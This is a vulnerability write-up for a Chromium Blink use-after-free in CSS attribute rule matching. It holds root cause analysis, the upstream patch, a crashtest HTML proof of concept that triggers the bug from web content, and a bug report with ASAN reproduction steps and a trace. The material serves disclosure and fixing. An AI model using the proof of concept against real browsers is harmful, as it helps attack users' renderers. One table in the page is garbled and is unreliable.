CVE-2026-7938
Overview
Background
- `ElementRuleCollector`
- the Blink CSS engine component that, during style resolution, matches an element against candidate rules, including attribute selectors.
- Lazy style attribute synchronization
- Blink materializes the
styleattribute (and similar lazy attributes) on demand; reading or matching can triggerNeedStyleSynchronized(), which adds an attribute to the element and reallocates itsAttributeCollection. - `base::span<const Attribute>` / `AttributeCollection`
- the view and backing store over an element’s attributes; the span’s pointers are invalidated if the underlying collection is reallocated.
- `RuleSet` bundles / Aho-Corasick
- attribute rules are grouped into bundles, and when many rules target one attribute (>50), matching consults an Aho-Corasick string tree that reads the attribute’s value.
Root Cause Analysis
The attribute-matching loop (enclosing function name not shown in the @@ -910 / @@ -936 hunk headers) iterates attributes by index and was supposed to re-fetch the attributes span after each call that could mutate the attribute list, because selector checking can synchronize lazy style and thereby reallocate AttributeCollection. That refresh logic was defeated when RuleSet bundles were introduced: the span was refreshed only once after the entire bundle loop (const AttributeCollection collection = element.AttributesWithoutUpdate(); attributes = base::span(collection); placed outside the per-RuleSet block), not after each CollectMatchingRulesForList call. Since the Aho-Corasick path reads a value from one of the attributes via the already-dereferenced span/lower_name, a reallocation triggered mid-bundle left the code reading freed memory — a use-after-free.
The fix moves the span refresh inside the per-RuleSet block (right after CollectMatchingRulesForList returns) and stops holding a reference into the Attribute by copying the lowercased name into a value (const AtomicString lower_name instead of const AtomicString& lower_name), whose lifetime no longer depends on the reallocated collection.
span once per bundle instead of once per RuleSet, so a lazy-style synchronization that reallocated the AttributeCollection during a CollectMatchingRulesForList call left stale pointers that the Aho-Corasick read then dereferenced; the fix refreshes the span after every call and holds the name by value rather than by reference.Attack Path
- Craft bucketed attribute rules
The page defines a selector like
[style][a]so matching buckets on[a], and adds >50[a] {}rules (via a second stylesheet) to force the Aho-Corasick tree path for the[a]attribute. - Avoid pre-loop sync
Because bucketing is on
[a], the attributes are not synchronized before iteration, so the lazystyleattribute is still unmaterialized when the loop starts. - Trigger reallocation mid-bundle
Setting
elem.style.color = 'red'makes evaluation of[style]synchronize lazy style, which adds thestyleattribute and reallocates the element’sAttributeCollectionduring aCollectMatchingRulesForListcall. - Dereference freed span
The old code did not refresh
attributesuntil after the whole bundle, so the Aho-Corasick lookup reads the attribute value through the now-invalidated span pointer — a use-after-free read (the crashtestchrome-bug-492735384.htmlreproduces this).
Impact Assessment
Changed Functions
| Function | Change | Notes |
|---|---|---|
forthird_party/blink/web_tests/external/wpt/css/css-values/crashtests/chrome-bug-492735384.html |
modified |
Files Changed
third_party/blink/renderer/core/css/element_rule_collector.ccthird_party/blink/web_tests/external/wpt/css/css-values/crashtests/chrome-bug-492735384.html
Audit Directions
- Span/iterator refresh after reentrant mutationAudit loops that cache a
base::spanor iterator over a container whose elements can be reallocated by a callee (lazy synchronization, callbacks); verify the view is refreshed after every such call, not once per outer batch. - References into reallocatable storageFlag
const T&bindings intoAttribute/collection entries that outlive a call capable of reallocating the backing store; prefer copying to a value as done forlower_name. - Batching that defeats existing safety codeWhen a new grouping/bundling layer is added around code with known invalidation hazards, re-verify that per-step invariants (here, per-
RuleSetrefresh) are preserved rather than hoisted out of the inner loop.
Patch
From 515ce02da3726b98d18d5b25845ced973d8323dc Mon Sep 17 00:00:00 2001
From: Steinar H. Gunderson <sesse@chromium.org>
Date: Tue, 17 Mar 2026 05:10:44 -0700
Subject: [PATCH] Fix a use-after-free with lazy style attributes.
Running selector checking on an element could add new attributes to it,
invalidating the Attribute pointers we are iterating over. We knew this
and had code in place for it, but that code was defeated when we added
RuleSet bundles; we'd refresh the Attribute span after we'd processed
the entire bundle instead of after each RuleSet, and since the
Aho-Corasick code wanted to read a value from one of the attributes,
we could have use-after-free.
We also appeared to hold a reference to the name, but it is actually
harmless; since ToAsciiLower() returns a value, so does the entire
ternary expression and it's just a normal value that's kept alive
by C++'s reference extension.
Style perftest is neutral.
Fixed: 492735384
Change-Id: Ib9b56eedbc8bd89978973717be8543b37584b730
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7673597
Reviewed-by: Rune Lillesveen <futhark@chromium.org>
Commit-Queue: Steinar H Gunderson <sesse@chromium.org>
Cr-Commit-Position: refs/heads/main@{#1600463}
---
diff --git a/third_party/blink/renderer/core/css/element_rule_collector.cc b/third_party/blink/renderer/core/css/element_rule_collector.cc
index 1e9f808..7736cdc 100644
--- a/third_party/blink/renderer/core/css/element_rule_collector.cc
+++ b/third_party/blink/renderer/core/css/element_rule_collector.cc
@@ -910,18 +910,20 @@
// we cannot use range-based iterators over the attributes here
// if we don't synchronize before the loop; we need to use
// simple indexes and then refresh the span after every call.
+ // We also need to not hold references into the Attribute,
+ // as they would be similarly invalidated.
base::span<const Attribute> attributes =
GetAttributes(element, match_request.NeedStyleSynchronized());
for (unsigned attr_idx = 0; attr_idx < attributes.size(); ++attr_idx) {
- const AtomicString& attribute_name = attributes[attr_idx].LocalName();
// NOTE: Attributes in non-default namespaces are case-sensitive.
// There is a bug where you can set mixed-cased attributes (in
// non-default namespaces) with setAttributeNS(), but they never match
// anything. (The relevant code is in AnyAttributeMatches(), in
// selector_checker.cc.) What we're doing here doesn't influence that
// bug.
- const AtomicString& lower_name =
+ const AtomicString& attribute_name = attributes[attr_idx].LocalName();
+ const AtomicString lower_name =
(lower_attrs_in_default_ns &&
attributes[attr_idx].NamespaceURI() == g_null_atom)
? attribute_name.ToAsciiLower()
@@ -936,15 +938,18 @@
continue;
}
if (CollectMatchingRulesForList<stop_at_first_match>(
- bundle.rule_set->AttrRules(lower_name), match_request,
- bundle.rule_set, bundle.style_sheet_index, checker, context) &&
+ list, match_request, bundle.rule_set, bundle.style_sheet_index,
+ checker, context) &&
stop_at_first_match) {
return true;
}
- }
- const AttributeCollection collection = element.AttributesWithoutUpdate();
- attributes = base::span(collection);
+ // Refresh the attribute span, in case CollectMatchingRulesForList()
+ // reallocated it.
+ const AttributeCollection collection =
+ element.AttributesWithoutUpdate();
+ attributes = base::span(collection);
+ }
}
}
diff --git a/third_party/blink/web_tests/external/wpt/css/css-values/crashtests/chrome-bug-492735384.html b/third_party/blink/web_tests/external/wpt/css/css-values/crashtests/chrome-bug-492735384.html
new file mode 100644
index 0000000..21f46c19
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/css/css-values/crashtests/chrome-bug-492735384.html
@@ -0,0 +1,31 @@
+<!DOCTYPE html>
+<head>
+ <link rel="help" href="https://crbug.com/492735384">
+</head>
+<body>
+ <style>
+ /*
+ Evaluation of [style] will add a new attribute to the element,
+ as lazy style gets synchronized. However, the bucketing will be
+ on [a], so we do not synchronize the attributes _before_ iteration.
+ */
+ [style][a] { color: green !important; }
+ </style>
+ <style id="sheet2">
+ </style>
+ <div id="target" a=""></div>
+</body>
+<script>
+ // Having more than 50 rules on the [a] attribute will cause
+ // us to try to check the Aho-Corasick tree, which will read
+ // from the (possibly changed by the previous stylesheet)
+ // attribute list.
+ let css = '';
+ for (let i = 0; i < 55; i++) {
+ css += '[a] {}\n';
+ }
+ document.getElementById('sheet2').textContent = css;
+
+ var elem = document.getElementById('target');
+ elem.style.color = 'red';
+</script>
Regression Test / PoC
diff --git a/third_party/blink/web_tests/external/wpt/css/css-values/crashtests/chrome-bug-492735384.html b/third_party/blink/web_tests/external/wpt/css/css-values/crashtests/chrome-bug-492735384.html
new file mode 100644
index 0000000..21f46c19
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/css/css-values/crashtests/chrome-bug-492735384.html
@@ -0,0 +1,31 @@
+<!DOCTYPE html>
+<head>
+ <link rel="help" href="https://crbug.com/492735384">
+</head>
+<body>
+ <style>
+ /*
+ Evaluation of [style] will add a new attribute to the element,
+ as lazy style gets synchronized. However, the bucketing will be
+ on [a], so we do not synchronize the attributes _before_ iteration.
+ */
+ [style][a] { color: green !important; }
+ </style>
+ <style id="sheet2">
+ </style>
+ <div id="target" a=""></div>
+</body>
+<script>
+ // Having more than 50 rules on the [a] attribute will cause
+ // us to try to check the Aho-Corasick tree, which will read
+ // from the (possibly changed by the previous stylesheet)
+ // attribute list.
+ let css = '';
+ for (let i = 0; i < 55; i++) {
+ css += '[a] {}\n';
+ }
+ document.getElementById('sheet2').textContent = css;
+
+ var elem = document.getElementById('target');
+ elem.style.color = 'red';
+</script>
Original Bug Report
Heap-use-after-free in CSS attribute rule matching via lazy style synchronization
Heap-use-after-free in CSS attribute rule matching via lazy style synchronization
Summary
A use-after-free read exists in the Blink CSS rule matching engine on all platforms. During author style resolution, ElementRuleCollector::CollectMatchingRulesInternal iterates over an element’s attributes using a base::span that becomes stale when CollectMatchingRulesForList triggers lazy synchronization of the style attribute. The synchronization appends a new attribute to the element’s UniqueElementData::attribute_vector_, causing a heap reallocation that frees the buffer the span still references. A subsequent iteration of the inner rule set bundle loop then reads from the freed buffer. The bug is triggerable from web content via pure HTML, CSS, and JavaScript with no user interaction.
Bisect
Introducing Commit: 88218b47b18ae0d640ea0b6cacf8fdf2cb7b8ae9
- Date: 2025-01-27
- Author: Steinar H. Gunderson (sesse@chromium.org)
- Review: https://chromium-review.googlesource.com/c/chromium/src/+/6179412
This commit (“Add property bitmaps to RuleSetGroup”) refactored the attribute matching loop to use RuleSetsWithAttrRules() and introduced NeedStyleSynchronized() as a defense against lazy style attribute reallocation. The defense checks HasBucketForStyleAttribute() to decide whether to pre-synchronize, but ExtractBestBucketingValues only records the last attribute in a compound selector, so [style][a] is bucketed to a and bypasses the check entirely.
Root Cause
CollectMatchingRulesInternal captures a base::span<const Attribute> over the element’s attribute vector at the start of its attribute iteration loop. The code comment acknowledges that CollectMatchingRulesForList may cause reallocation and states the span should be refreshed “after every call,” but the implementation only refreshes it after the inner bundle loop completes, not after each individual CollectMatchingRulesForList call within that loop.
// element_rule_collector.cc:913-948
base::span<const Attribute> attributes =
GetAttributes(element, match_request.NeedStyleSynchronized());
for (unsigned attr_idx = 0; attr_idx < attributes.size(); ++attr_idx) {
const AtomicString& attribute_name = attributes[attr_idx].LocalName();
const AtomicString& lower_name = /* ... */ attribute_name;
for (const auto bundle : match_request.RuleSetsWithAttrRules()) {
base::span<const RuleData> list =
bundle.rule_set->AttrRules(lower_name);
if (list.empty() ||
bundle.rule_set->CanIgnoreEntireList(
list, lower_name, attributes[attr_idx].Value())) {
continue;
}
CollectMatchingRulesForList<stop_at_first_match>(
bundle.rule_set->AttrRules(lower_name), match_request,
bundle.rule_set, bundle.style_sheet_index, checker, context);
}
// Span refresh happens here, AFTER the bundle loop — too late
const AttributeCollection collection = element.AttributesWithoutUpdate();
attributes = base::span(collection);
}
If the first bundle’s CollectMatchingRulesForList causes the element’s attribute vector to reallocate, the second bundle’s access to attributes[attr_idx].Value() at the CanIgnoreEntireList call reads from the freed old buffer.
The reallocation is triggered through the CSS selector matching path. When SelectorChecker::AnyAttributeMatches encounters a [style] attribute selector, it calls element.SynchronizeAttribute(selector_attr.LocalName()) to materialize any lazy attribute before comparing.
// selector_checker.cc:1333-1343
static bool AnyAttributeMatches(Element& element,
CSSSelector::MatchType match,
const CSSSelector& selector) {
const QualifiedName& selector_attr = selector.Attribute();
element.SynchronizeAttribute(selector_attr.LocalName());
// ...
If the element has a dirty inline style (set via element.style.setProperty()), synchronizing the style attribute calls SynchronizeStyleAttributeInternal, which calls SetSynchronizedLazyAttribute, which calls AppendAttributeInternal. This appends a new Attribute to the element’s attribute_vector_.
The reallocation is guaranteed because UniqueElementData’s constructor from ShareableElementData reserves exactly the number of existing attributes:
// element_data.cc:178-192
UniqueElementData::UniqueElementData(const ShareableElementData& other)
: ElementData(other, true) {
attribute_vector_.reserve(other.Attributes().size());
for (auto& attribute : other.AttributesSpan()) {
attribute_vector_.UncheckedAppend(attribute);
}
}
When AppendAttributeInternal adds the style attribute to a full-capacity vector, Vector::AppendSlowCase allocates a new buffer, moves the existing attributes, and frees the old buffer. The stale span captured by CollectMatchingRulesInternal still points to the old, now-freed buffer.
To actually reach this code path, the attacker must bypass the NeedStyleSynchronized() pre-synchronization check. This check tests whether any rule set has rules specifically bucketed to the style attribute. If the compound selector is [style][a], RuleSet::ExtractBestBucketingValues iterates the sub-selectors and overwrites the bucketing attribute name at each step, producing a final bucket key of a rather than style. This means HasBucketForStyleAttribute() returns false, NeedStyleSynchronized() returns false, and the attribute vector is not pre-synchronized before iteration begins.
The element needs at least five non-style attributes so that the attribute_vector_ exceeds the Vector<Attribute, 4> inline capacity of four elements and is heap-allocated. With four or fewer attributes, the vector storage is inline within the UniqueElementData object and the old “buffer” is never freed.
Two separate <style> elements ensure two distinct rule set bundles in the inner loop, so the second bundle reads from the stale span after the first bundle’s CollectMatchingRulesForList triggers the reallocation.
Reproduce
Tested on commit 3ad31ba232d9a804b4de78d788e391f82b40a906 (Windows x64). No source modifications are required.
Build configuration (ASAN release, component build):
is_asan = true
is_debug = false
is_component_build = true
dcheck_always_on = false
Launch:
set ASAN_OPTIONS=detect_odr_violation=0
out\asan-release\chrome.exe --no-sandbox --disable-gpu --user-data-dir=%TEMP%\poc_attruaf poc.html
Opening the PoC crashes the renderer with a heap-use-after-free during getComputedStyle().
==43424==ERROR: AddressSanitizer: heap-use-after-free on address 0x113708020930 at pc 0x7ffe4cf3c5da bp 0x002118df9680 sp 0x002118df96c8
READ of size 8 at 0x113708020930 thread T0
#0 in blink::ElementRuleCollector::CollectMatchingRulesInternal<0>() element_rule_collector.cc:950
#1 in blink::ScopedStyleResolver::CollectMatchingElementScopeRules() scoped_style_resolver.cc:308
#2 in blink::StyleResolver::MatchAuthorRules() style_resolver.cc:1055
#3 in blink::StyleResolver::MatchAllRules() style_resolver.cc:1294
#4 in blink::StyleResolver::ApplyBaseStyleNoCache() style_resolver.cc:1825
#5 in blink::StyleResolver::ApplyBaseStyle() style_resolver.cc:2074
#6 in blink::StyleResolver::ResolveStyle() style_resolver.cc:1408
#7 in blink::Element::OriginalStyleForLayoutObject() element.cc:4905
#8 in blink::Element::StyleForLayoutObject() element.cc:4847
#9 in blink::Element::RecalcOwnStyle() element.cc:5433
...
#21 in blink::CSSComputedStyleDeclaration::GetPropertyCSSValue() css_computed_style_declaration.cc:349
0x113708020930 is located 16 bytes inside of 96-byte region [0x113708020920,0x113708020980)
freed by thread T0 here:
#0 free
#1 in Vector<Attribute,4,PartitionAllocator>::ReallocateBuffer() vector.h:2606
#2 in Vector<Attribute,4,PartitionAllocator>::ExpandCapacity() vector.h:2060
#3 in Vector<Attribute,4,PartitionAllocator>::AppendSlowCase() vector.h:2284
#4 in blink::Element::AppendAttributeInternal() element.cc:7950
#5 in blink::Element::SetSynchronizedLazyAttribute() element.cc:13029
#6 in blink::Element::SynchronizeStyleAttributeInternal() element.cc:11732
#7 in blink::Element::SynchronizeAttributeHinted() element.cc:12891
#8 in blink::ElementRuleCollector::CollectMatchingRulesForListInternal<0,0>() element_rule_collector.cc:609
#9 in blink::ElementRuleCollector::CollectMatchingRulesForList<0>() element_rule_collector.cc:753
#10 in blink::ElementRuleCollector::CollectMatchingRulesInternal<0>() element_rule_collector.cc:939
previously allocated by thread T0 here:
#0 malloc
#1 in partition_alloc::PartitionRoot::Alloc<0>() partition_root.h:532
#2 in VectorBufferBase<Attribute,PartitionAllocator>::AllocateBufferNoBarrier() vector.h:579
#3 in Vector<Attribute,4,PartitionAllocator>::ReallocateBuffer() vector.h:2597
#4 in blink::UniqueElementData::UniqueElementData(const ShareableElementData&) element_data.cc:188
#5 in blink::ElementData::MakeUniqueCopy() element_data.cc:94
#6 in blink::Element::CreateUniqueElementData() element.cc:11722
#7 in blink::Element::EnsureMutableInlineStyle() element.cc:11759
#8 in blink::AbstractPropertySetCSSStyleDeclaration::SetPropertyInternal() abstract_property_set_css_style_declaration.cc:273
#9 in blink::AbstractPropertySetCSSStyleDeclaration::setProperty() abstract_property_set_css_style_declaration.cc:155
MiraclePtr Status: NOT PROTECTED
No raw_ptr<T> access to this region was detected prior to this crash.
This crash is still exploitable with MiraclePtr.
The complete ASAN log is attached as asan.log.
References
- element_rule_collector.cc — CollectMatchingRulesInternal, span capture and stale refresh
- selector_checker.cc — AnyAttributeMatches, SynchronizeAttribute call
- element.cc — SynchronizeStyleAttributeInternal, SetSynchronizedLazyAttribute
- element.cc — AppendAttributeInternal, vector append
- element_data.cc — UniqueElementData constructor, exact reserve
- rule_set.cc — ExtractBestBucketingValues, last-attribute-wins bucketing
- match_request.h — NeedStyleSynchronized, HasBucketForStyleAttribute
Credit
Please use c6eed09fc8b174b0f3eebedcceb1e792 as the credit for this vulnerability. Thank you.
- https://chromium-review.googlesource.com/c/chromium/src/+/6179412
- https://source.chromium.org/chromium/chromium/src/+/main:third_party/blink/renderer/core/css/element_rule_collector.cc;l=913-948
- https://source.chromium.org/chromium/chromium/src/+/main:third_party/blink/renderer/core/css/resolver/match_request.h;l=138-294
- https://source.chromium.org/chromium/chromium/src/+/main:third_party/blink/renderer/core/css/rule_set.cc;l=500-542
- https://source.chromium.org/chromium/chromium/src/+/main:third_party/blink/renderer/core/css/selector_checker.cc;l=1333-1343
- https://source.chromium.org/chromium/chromium/src/+/main:third_party/blink/renderer/core/dom/element.cc;l=11726-11735
- https://source.chromium.org/chromium/chromium/src/+/main:third_party/blink/renderer/core/dom/element.cc;l=7941-7955
- https://source.chromium.org/chromium/chromium/src/+/main:third_party/blink/renderer/core/dom/element_data.cc;l=178-192